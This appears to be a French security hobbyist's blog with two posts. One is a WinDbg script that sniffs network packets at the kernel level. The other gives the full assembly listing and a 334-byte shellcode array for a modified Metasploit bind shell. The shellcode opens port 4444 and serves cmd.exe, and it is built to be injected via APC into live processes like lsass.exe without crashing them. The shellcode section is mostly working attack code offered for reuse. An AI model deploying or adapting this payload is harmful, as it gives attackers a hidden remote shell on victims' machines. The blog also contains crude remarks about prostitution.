Inside NT’s Asynchronous Procedure Call
http://www.ddj.com/windows/184416590
Do Waiting Threads Receive Alerts and APCs?
http://msdn2.microsoft.com/en-us/library/aa490226.aspx
août 20th, 2007
Je crois que la pire chose quand on est g33k, c’est l’ennui, ne plus savoir quoi faire, rester devant son écran à regarder les conversations inintéressantes sur irc ou à faire du .lamoule pendant des heures sur #lamoule@freenode le soir. Anyway, en même temps que j’avance mon projet je fais des choses super intéressantes, comme transformer mon Windbg en kernel sniffer, w00t !
La chose est simple, trouvez la fonction qui se charge de dispatcher les packets juste après le driver de miniport, mettez un breakpoint dessus et dumpez ses arguments. Cette fonction porte le doux nom de ethFilterDprIndicateReceivePacket, on peut la retrouvée dans la structure NDIS_MINIPORT_BLOCK, son prototype est :
typedef
VOID
(*FILTER_PACKET_INDICATION_HANDLER)(
IN NDIS_HANDLE Miniport,
IN PPNDIS_PACKET PacketArray,
IN UINT NumberOfPackets
);
Sachant que le paramètre PacketArray pointe sur un tableau de MDL décrivant les pages contenant nos buffers avec les données reçu sur le miniport, il suffit de dumper leur contenu avec la commande de l’extension ndiskd, !pkt pour voir le contenu du packet.
Breakpoint 0 hit
NDIS!ethFilterDprIndicateReceivePacket:
fcb0bb21 8bff mov edi,edi
kd> kv
ChildEBP RetAddr Args to Child
8055053c fcd7b95e 80da0ad0 80d58f30 00000002 NDIS!ethFilterDprIndicateReceivePacket (FPO: [Non-Fpo])
80550570 fcd7b17b 80d58f38 804e4a15 80da0ad0 dc21x4!ProcessReceiveDescRing+0x2b4 (FPO: [Non-Fpo])
80550590 fcb05712 00010040 80559280 80559020 dc21x4!DC21X4HandleInterrupt+0xe7 (FPO: [Non-Fpo])
805505ac 804dbbd4 80d5801c 80d58008 00000000 NDIS!ndisMDpc+0xff (FPO: [Non-Fpo])
805505d0 804dbb4d 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46 (FPO: [0,0,0])
805505d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26 (FPO: [0,0,0])
kd> dd poi(@esp+8) l 2
80d58f30 80d53698 80d52378
kd> !pkt poi(poi(@esp+8)+0) 5
NDIS_PACKET at 80d53698
MDL = 80d4fc08
StartVa fffffffffc956000, ByteCount 0x79, ByteOffset 0xc80, NB MdlOffset 0x0
fc956c80: 00 03 ff 02 63 0e 00 17 33 45 4c ec 08 00 45 00
fc956c90: 00 6b 12 1e 40 00 35 06 e1 bb c3 e1 cc 15 c0 a8
fc956ca0: 01 14 1a 0b 07 50 33 26 79 69 de cc 18 74 50 18
fc956cb0: 10 00 4f 63 00 00 3a 53 71 75 61 6c 6c 73 75 72
fc956cc0: 66 21 45 6d 65 61 75 40 57 6e 65 74 2d 33 37 30
fc956cd0: 32 32 2e 77 39 30 2d 34 39 2e 61 62 6f 2e 77 61
fc956ce0: 6e 61 64 6f 6f 2e 66 72 20 4a 4f 49 4e 20 3a 23
fc956cf0: 6e 69 62 62 6c 65 73 0d 0a
kd> !pkt poi(poi(@esp+8)+4) 5
NDIS_PACKET at 80d52378
MDL = 80d50888
StartVa fffffffffc94d000, ByteCount 0xa5, ByteOffset 0x680, NB MdlOffset 0x0
fc94d680: 00 03 ff 02 63 0e 00 17 33 45 4c ec 08 00 45 00
fc94d690: 00 97 12 a7 40 00 35 06 e1 06 c3 e1 cc 15 c0 a8
fc94d6a0: 01 14 1a 0b 07 50 33 26 79 ac de cc 18 74 50 18
fc94d6b0: 10 00 ae 1f 00 00 3a 5b 67 33 33 6b 5d 21 7e 5b
fc94d6c0: 67 33 33 6b 5d 40 67 65 65 6b 2e 6f 75 2e 70 61
fc94d6d0: 73 20 4d 4f 44 45 20 23 6e 69 62 62 6c 65 73 20
fc94d6e0: 2b 76 20 53 71 75 61 6c 6c 73 75 72 66 0d 0a 3a
fc94d6f0: 46 6f 6f 62 61 72 21 74 6f 74 6f 40 34 32 2e 57
fc94d700: 6f 72 6c 64 6e 65 74 20 4d 4f 44 45 20 23 6e 69
fc94d710: 62 62 6c 65 73 20 2b 6f 20 53 71 75 61 6c 6c 73
fc94d720: 75 72 66 0d 0a
Après on peut automatiser cela avec un windbg script :
$$
$$ Packet dumper
$$ by
$$ Ivanlef0u
!ndiskd.load
.reload
bp NDIS!ethFilterDprIndicateReceivePacket "r @$t0 = poi(@esp+0xC);
.for (r $t1=0; @$t1<@$t0; r $t1=@$t1+1)
{
.printf \\"Dumping packet %d at 0x%x\\n\\", @$t1, poi(poi(@esp+0x8)+@$t1*4);
!pkt poi(poi(@esp+0x8)+@$t1*4) 5;
};g"
Enregistrer le sous l’extenion .wdbg et lancez le de la manière suivante : $$><c:\sniff.wdbg
En le laissant tourner vous obtenez un joli screensaver et si, de plus, vous avez colorez le texte de votre Windbg en vert fera un magnifique matrix-like à montrer à vos amis.
Autrement j’ai remarqué une forte affluence sur mon blog depuis le site reseaux-telecoms.net, en effet ce cher Marc Olanié s’amuse à poster des billets référençant mon site en ne tarissant pas d’éloges dessus … Je cite :
A propos de lu post New Registry Hiding Method : « Article, comme d’habitude, admirable de compétence technique, teinté d’humour et nécessitant, pour le commun des mortels, un tube non entamé d’Aspirine du Rhône (en capsules). »
Aussi : « Instrument de hacking non-humain à comparer -est-ce possible- avec sa contrepartie humaine française, toujours aussi étonnante. »
Il est affectueux le monsieur, evidemment je trouve ca sympa de ca part de me faire de la pub. Cependant ce blog s’adressant un à public avertit de drogués aux chocapicz je pense que les gens plus ‘corporate’ qui lisent reseaux-telecoms.net et qui viennent ici, s’en sortent avec séquelles neurologiques grave à vie. Bref je trouve ca cool qu’on apprécie ce que je fais mais faudrait pas non plus mettre ca devant n’importe qui :] Si ce cher Marc veut me rencontrer, je suis sur Paris en ce moment, on pourrait aller se prendre une bière et se faire des putes de luxe à Pigalle :}
août 11th, 2007
La rumeur faisant courir que je me suis fait enlevé par les Aliens est vraie. Depuis 1 mois, je suis, dans le cadre d’une opération appelé « Stage de découverte d’entreprise » retenu de force par mes ravisseurs. Ceux-ci m’ont forcé à développer une arme visant à conquérir le monde (et je peux vous dire que j’en suis proche mouhahaha !). Ce qui est marrant quand on fait du dev kernel Windows, c’est que personne ne vous comprend, exemple : « Alors là, tu vois je fais un IoAllocateMdl sur mes pages ensuite je les verrouille avec MmProbeAndLockPages puis je les map dans le user space d’un process avec un MmMapLockedPagesSpecifyCache avec le param AccessMode mit à un UserMode en oubliant pas avant de m’être attach à l’EPROCESS avec un KeStackAttachProcess, c’est plus classe qu’un NtMapViewOfSection tu trouves pas ? », à l’autre de me répondre « Heuu … Bon ca marche oui ou merde ? ». Bref tout ca pour dire je suis un peu tout seul dans mon petit monde mais que je m’éclate bien. Dernièrement un truc con m’est arrivé, j’avais besoin pour test une feature de mon tool, d’injecter un code dans un thread déjà existant. Sachant que je voulais lancer quelque chose d’utile, typiquement un bindshell ou un reverseshell, j’ai voulu use les shellcodes de metasploit avant de m’apercevoir que ces derniers s’en foutaient un peu du contexte d’exécution ou ils se trouvaient (ce qui est normal, vu qu’ils sont fait pour être use dans le cadre d’une exploitation d’un bug qui souvent finit par un crash du programme). En fait pour quitter les payloads de metasploit utilisent soit un ExitProcess, soit un ExitThread ou bien un UnhandledExceptionFilter et defonce completement la stack, bref si on tente d’injecter un de ces payload dans un thread « propre » par exemple dans le cadre d’un APC, on fait planter le process et c’est pas vraiment cool si c’est lsass.exe … dionc, la flemme de chercher sur google on disass le shellcode puis on le modifie from scrach ! hop hop hop tokaff !
J’ai choisit de modif le bindshell provenant de metasploit ouvrant le port 4444 et nous renvoyant un socket binder sur un cmd.exe
Le shellcode bien évidemment s’exécutant dans un environnement doit être capable de retrouver les fonctions dont il a besoin tout seul comme un grand, sans rien hardcoder. Pour cela, trick habituel, kernel32 est retrouvé dans le PEB, ensuite on une fonction qui va scanner d’EAT du module et hasher les noms des fonctions puis les comparer à ceux qu’on cherche. Le shellcode va donc effectuer les opérations suivantes :
- Retrouver l’ImageBase de Kerne32 dans le PEB_LDR_DATA du PEB.
- Charger la lib winsock avec un LoadLibrary(« ws2_32″);
- WSAStartup()
- WSASocket()
- bind()
- listen
- accept()
- closesocket() pour fermer le socket en écoute
- CreateProcess() sur cmd.exe
- WaitForSingleObject() pour attendre que le cmd.exe soit kill
- closesocket() pour close le socket récup par accept
La routine quoi, allay voilà la purée après disass et modification :
.586
.model flat,stdcall
option casemap:none
assume fs:nothing
.code
start:
cld
startlol:
push 0FFFFFFEBh
db 4Fh
call near ptr startlol+1
;00400220 FC CLD
;00400221 6A EB PUSH -15
;00400223 4D DEC EBP
;00400224 E8 F9FFFFFF CALL bind.00400222
;00400222 /EB 4D JMP SHORT bind.00400271
;trick pour avoir sur le stack en saved eip le debut de la fct de hash avec un couple call/jmp
;function de recherche dans l'EAT avec hash des noms de fct, stdcall convention
; IN : Module Handle
; IN : hash
; OUT : function VA
pushad
mov ebp, [esp+24h] ; ebp=module handle, 1er arg
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
nextname:
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
hash:
lodsb
test al, al
jz hashend
ror edx, 0Dh
add edx, eax
jmp short hash
hashend:
cmp edx, [esp+28h] ; compare notre avec le hash passe en 2 eme arg
jnz short nextname
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
add ebp, [ebx+ecx*4]
mov [esp+1Ch], ebp ;ecrit l'addr dans le saved eax du pushad
popad
retn 8
; end hash fct
;AAAAAAAAAAAAAAAAAA we jmp here AAAAAAAAAAAAAAAAAA
xor ebx, ebx
mov eax, fs:[ebx+30h]
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov edi, [eax+8] ;edi=kernel32 module
pop esi ; esi = addr fct hash, pushe avec le call/jump d'avant
push 0CE05D9ADh ;hash WaitForSingleObject
push edi ;kernel32 module
call esi
push eax ; on push le WaitForSingleObject pour le recup plus loin
push 16B3FE72h ;hash CreateProcess
push edi;kernel32 module
call esi
push eax ;pour le CreateProcess plus loin
;ici on a sur la pile
;@WaitForSingleObject
;@CreateProcess
;0FFFFFFEBh
;saved eip
push 0EC0E4E8Eh ;hash loalibrary
push edi
call esi
push 3233h ;"32x00x00" ;
push 5F327377h ; "ws2_"
push esp
call eax ;loadlibrary("ws2_32");
add esp, 08h
mov edi, eax ;edi = ws2_32 module handle
push 3BFCEDCBh ;hash WSAStartup
push eax ;ws2_32 module handle
call esi
mov ebp, esp
sub esp, 400 ;sizeof(WSADATA)=400d
push esp
push 2
call eax ; WSAStartup
add esp, 400
push 0ADF509D9h ;hash WSASocket
push edi
call esi
push ebx ;
push ebx
push ebx
push ebx
inc ebx
push ebx ;1=SOCK_STREAM
inc ebx
push ebx ;2=AF_INET
call eax ;WSASocket
xchg ebp, eax ;ebp=socket
push 0c7701aa4h;hash bind
push edi
call esi
xor edx, edx
push edx ; sockaddr_in.sin_zero
push edx ; sockaddr_in.sin_zero
push edx ; sockaddr_in.n_addr=INADDR_ANY
push 5C110002h ;port 4444 (0x115C), family 2 AF_INET
mov ecx, esp; ecx=addr struct sockaddr
push 10h
push ecx
push ebp ;socket
call eax;bind
add esp, 10h
push 0E92EADA4h;hash listen
push edi
call esi
push 2
push ebp
call eax ; listen
push 498649E5h ;hash accept
push edi
call esi
sub esp, 10h
push esp ;Optional pointer to an integer that contains the length of addr.
push esp ;Optional pointer to a buffer that receives the address of the connecting entity (sockaddr struct)
push ebp
call eax ;accept
add esp, 10h
xchg eax, ebx ;ebx=new socket recup de accept()
push 79C679E7h ;hash closesocket
push edi
call esi
mov [esp+8], eax; push closesocket
push ebp
call eax ;closesocket, ferme le socket d'ecoute
pop esi ;recupere createprocess
push ebx ;push le socket pour apres
push " dmc" ;cmd
mov ebp, esp
push 50h
pop ecx
sub esp, ecx ;
mov edi, esp
push 44h ;STARTUPINFO.cb=44h
mov edx, esp ;edx pointe sur notre struct STARTUPINFO
xor eax, eax
rep stosb
;remplit le champ dwFlags
inc byte ptr [edx+2Dh] ; STARTF_USESHOWWINDOW
inc byte ptr [edx+2Ch] ;STARTF_USESTDHANDLES
;If dwFlags specifies STARTF_USESHOWWINDOW,
;this member can be any of the SW_ constants defined in Winuser.h. Otherwise, this member is ignored.
;SW_HIDE=0 donc la fenetre ne sera pas visible
xchg eax, ebx
lea edi, [edx+38h]
stosd ;STARTUPINFO.hStdInput=socket
stosd ;STARTUPINFO.hStdOutput=socket
stosd ;STARTUPINFO.hStdError=socket
pop ebx
push edi
push edx
push ecx
push ecx
push ecx
push 1 ;inheritable handles
push ecx
push ecx
push ebp
push ecx
call esi; CreateProcess
add esp, 54h
pop esi ;recup la socket
pop ebx ;recup WaitForSingleObject
push 0FFFFFFFFh
push dword ptr [edi]
call ebx ;WaitForSingleObject
pop ebx; recup closesocket
push esi
call ebx
retn
end start
Pas la peine de troller sur l’optimisation, je ne suis pas un monstre en ASM et puis comme il s’agit d’une « copie de mémoire » je m’en fou des NULL bytes, c’est avant tout pour moi, libre à vous de le modifier
On a le payload suivant :
unsigned char shellcode[] ={
0xFC, 0x6A, 0xEB, 0x4F, 0xE8, 0xF9, 0xFF, 0xFF, 0xFF, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45,
0x3C, 0x8B, 0x7C, 0x28, 0x78, 0x03, 0xFD, 0x8B, 0x4F, 0x18, 0x8B, 0x5F, 0x20, 0x03, 0xDD, 0x49,
0x8B, 0x34, 0x8B, 0x03, 0xF5, 0x33, 0xC0, 0x99, 0xAC, 0x84, 0xC0, 0x74, 0x07, 0xC1, 0xCA, 0x0D,
0x03, 0xD0, 0xEB, 0xF4, 0x3B, 0x54, 0x24, 0x28, 0x75, 0xE5, 0x8B, 0x5F, 0x24, 0x03, 0xDD, 0x66,
0x8B, 0x0C, 0x4B, 0x8B, 0x5F, 0x1C, 0x03, 0xDD, 0x03, 0x2C, 0x8B, 0x89, 0x6C, 0x24, 0x1C, 0x61,
0xC2, 0x08, 0x00, 0x33, 0xDB, 0x64, 0x8B, 0x43, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD,
0x8B, 0x78, 0x08, 0x5E, 0x68, 0xAD, 0xD9, 0x05, 0xCE, 0x57, 0xFF, 0xD6, 0x50, 0x68, 0x72, 0xFE,
0xB3, 0x16, 0x57, 0xFF, 0xD6, 0x50, 0x68, 0x8E, 0x4E, 0x0E, 0xEC, 0x57, 0xFF, 0xD6, 0x68, 0x33,
0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x08, 0x8B, 0xF8,
0x68, 0xCB, 0xED, 0xFC, 0x3B, 0x50, 0xFF, 0xD6, 0x8B, 0xEC, 0x81, 0xEC, 0x90, 0x01, 0x00, 0x00,
0x54, 0x6A, 0x02, 0xFF, 0xD0, 0x81, 0xC4, 0x90, 0x01, 0x00, 0x00, 0x68, 0xD9, 0x09, 0xF5, 0xAD,
0x57, 0xFF, 0xD6, 0x53, 0x53, 0x53, 0x53, 0x43, 0x53, 0x43, 0x53, 0xFF, 0xD0, 0x95, 0x68, 0xA4,
0x1A, 0x70, 0xC7, 0x57, 0xFF, 0xD6, 0x33, 0xD2, 0x52, 0x52, 0x52, 0x68, 0x02, 0x00, 0x11, 0x5C,
0x8B, 0xCC, 0x6A, 0x10, 0x51, 0x55, 0xFF, 0xD0, 0x83, 0xC4, 0x10, 0x68, 0xA4, 0xAD, 0x2E, 0xE9,
0x57, 0xFF, 0xD6, 0x6A, 0x02, 0x55, 0xFF, 0xD0, 0x68, 0xE5, 0x49, 0x86, 0x49, 0x57, 0xFF, 0xD6,
0x83, 0xEC, 0x10, 0x54, 0x54, 0x55, 0xFF, 0xD0, 0x83, 0xC4, 0x10, 0x93, 0x68, 0xE7, 0x79, 0xC6,
0x79, 0x57, 0xFF, 0xD6, 0x89, 0x44, 0x24, 0x08, 0x55, 0xFF, 0xD0, 0x5E, 0x53, 0x68, 0x63, 0x6D,
0x64, 0x20, 0x8B, 0xEC, 0x6A, 0x50, 0x59, 0x2B, 0xE1, 0x8B, 0xFC, 0x6A, 0x44, 0x8B, 0xD4, 0x33,
0xC0, 0xF3, 0xAA, 0xFE, 0x42, 0x2D, 0xFE, 0x42, 0x2C, 0x93, 0x8D, 0x7A, 0x38, 0xAB, 0xAB, 0xAB,
0x5B, 0x57, 0x52, 0x51, 0x51, 0x51, 0x6A, 0x01, 0x51, 0x51, 0x55, 0x51, 0xFF, 0xD6, 0x83, 0xC4,
0x54, 0x5E, 0x5B, 0x6A, 0xFF, 0xFF, 0x37, 0xFF, 0xD3, 0x5B, 0x56, 0xFF, 0xD3, 0xC3};
Ce qui fait au total 334 Bytes pour avoir un shellcode « propre », par rapport aux 317 de l’original qui defoncait tout, je m’en sors pas mal
Sinon truc bête, après que vous ayez le shell, le thread est bloqué à cause de WaitForSingleObject, je corrigerais cela plus tard en demandant au shellcode de creer un new thread.
A par ça, Imminity nous a release son Immunity Debugger qui est un OllyDbg auquel ils ont ajoutés une interface python, c’est mignon mais ca casse pas des briques.
Rutkowska qui à release les sources de son BlueBill réécrit, qui si elles compilaient pourraient être sympa à regarder, faut quand même dire que ceux qui sont capable de capter ce genre de trucs ne courent pas les rues …. (Avis aux amateurs de prise de tête). J’vais quand même lire les slides de sa dernière conf IsGameOver()? En espérant comprendre la moitié.
Un jour peut-être qui sait …
août 4th, 2007